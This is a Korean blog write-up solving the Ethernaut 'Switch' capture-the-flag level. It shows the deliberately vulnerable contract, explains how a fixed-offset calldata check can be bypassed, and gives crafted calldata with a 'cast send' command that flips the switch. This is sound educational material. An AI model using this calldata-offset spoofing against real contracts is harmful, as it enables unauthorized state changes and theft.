[ethernaut] Switch

wooz3k.eth·2023년 5월 1일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }

}

오랜만에 Ethernaut을 들어가보니 새로운 문제가 나와 후딱 풀고 풀이를 작성한다.

이 문제는 switchOn state를 true로 만들면 풀리는 문제이다.
turnSwitchOn, turnSwitchOff 2개의 함수가 switchOn state를 변경할 수 있고, 실행 조건은 Switch 컨트랙트 즉, 자기 자신만 호출할 수 있다.

turnSwitchOn, turnSwitchOff 함수를 핸들할 수 있는 함수는 flipSwitch 함수이고 인자는 bytes인 것을 확인할 수 있다.

flipSwitch 함수에서 자기 자신의 call을 하는데 인자로 받은 _data를 호출한다. _data 는 당연하게도 시그니처가 와야할 것이다.

마지막 조건이 하나 존재하는데 onlyOff 를 확인해보면 calldata 검증 로직이 존재하고 turnSwitchOff 시그니처만 통과할 수 있는 것 처럼 보인다.

알았다. 이 문제는 동적 타입의 calldata를 어떻게 encode/decode 하는지를 묻는 문제이다.

flipSwitchturnSwitchOff를 호출하는 msg.data는 다음과 같을 것이다.

0x30c13ade                                                       // offset 0x00
0000000000000000000000000000000000000000000000000000000000000020 // offset 0x04
0000000000000000000000000000000000000000000000000000000000000004 // offset 0x24
20606e1500000000000000000000000000000000000000000000000000000000 // offset 0x44

onlyOff에서 calldatacopy(selector, 68, 4)는 0x44 offset에서 4byte 만큼 memory로 복사해오는 것을 알 수 있다.

따라서 문제를 해결하기 위해서는 0x44 offset에는 turnSwitchOff 함수의 시그니처를 고정으로 넣어주고 address(this).call(_data)_dataturnSwitchOn 함수의 시그니처가 되도록 calldata를 만들어주면 풀리게될 것이다.

0x30c13ade                                                        // offset 0x00
0000000000000000000000000000000000000000000000000000000000000060  // offset 0x04
0000000000000000000000000000000000000000000000000000000000000000  // offset 0x24
20606e1500000000000000000000000000000000000000000000000000000000  // offset 0x44
0000000000000000000000000000000000000000000000000000000000000004  // offset 0x64
76227e1200000000000000000000000000000000000000000000000000000000  // offset 0x84

위와 같이 우회하는 calldata를 만들었고 해석하면 0x4 + 0x60 offset을 가르키고, 0x64에서는 4byte 만큼 읽어온다는 의미기 때문에 turnSwitchOn 함수의 시그니처가 _data로 decode 될 것이다.

cast send --rpc-url $RPC_URL --private-key $P_KEY $target_addr 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000

정상적으로 turnSwitchOn이 실행되는 것을 확인할 수 있었다.

이 문제는 동적 타입의 calldata를 검증할 때 고정된 offset의 값을 검증하는 것은 우회가 가능하여 취약하다는 것을 알려준다.

profile
Theori ChainLight Web3 Researcher

0개의 댓글